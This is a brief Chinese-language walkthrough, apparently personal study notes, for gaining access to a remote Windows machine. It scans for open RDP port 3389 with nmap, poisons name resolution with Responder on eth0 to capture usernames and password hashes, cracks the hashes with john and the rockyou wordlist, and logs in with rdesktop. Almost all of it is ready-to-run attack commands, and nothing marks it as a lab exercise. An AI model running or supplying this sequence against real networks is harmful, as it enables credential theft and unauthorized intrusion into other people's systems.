- 查看远程电脑IP
ipconfig
- 扫描远程主机开放的端口(查看3389端口是否开放)
nmap -Pn *.*.*.*(IP)
- 执行渗透操作
responder -I eth0 -wv
- 稍等片刻终端上会显示用户名与密码(hash)
- 利用john进行密码的破解,进入如下目录进行查看:/usr/share/responer/logs。
john HTTP-*.txt --wordlist=/usr/share/wordlists/rockyou.txt
- 登陆远程主机
rdesktop -u kail *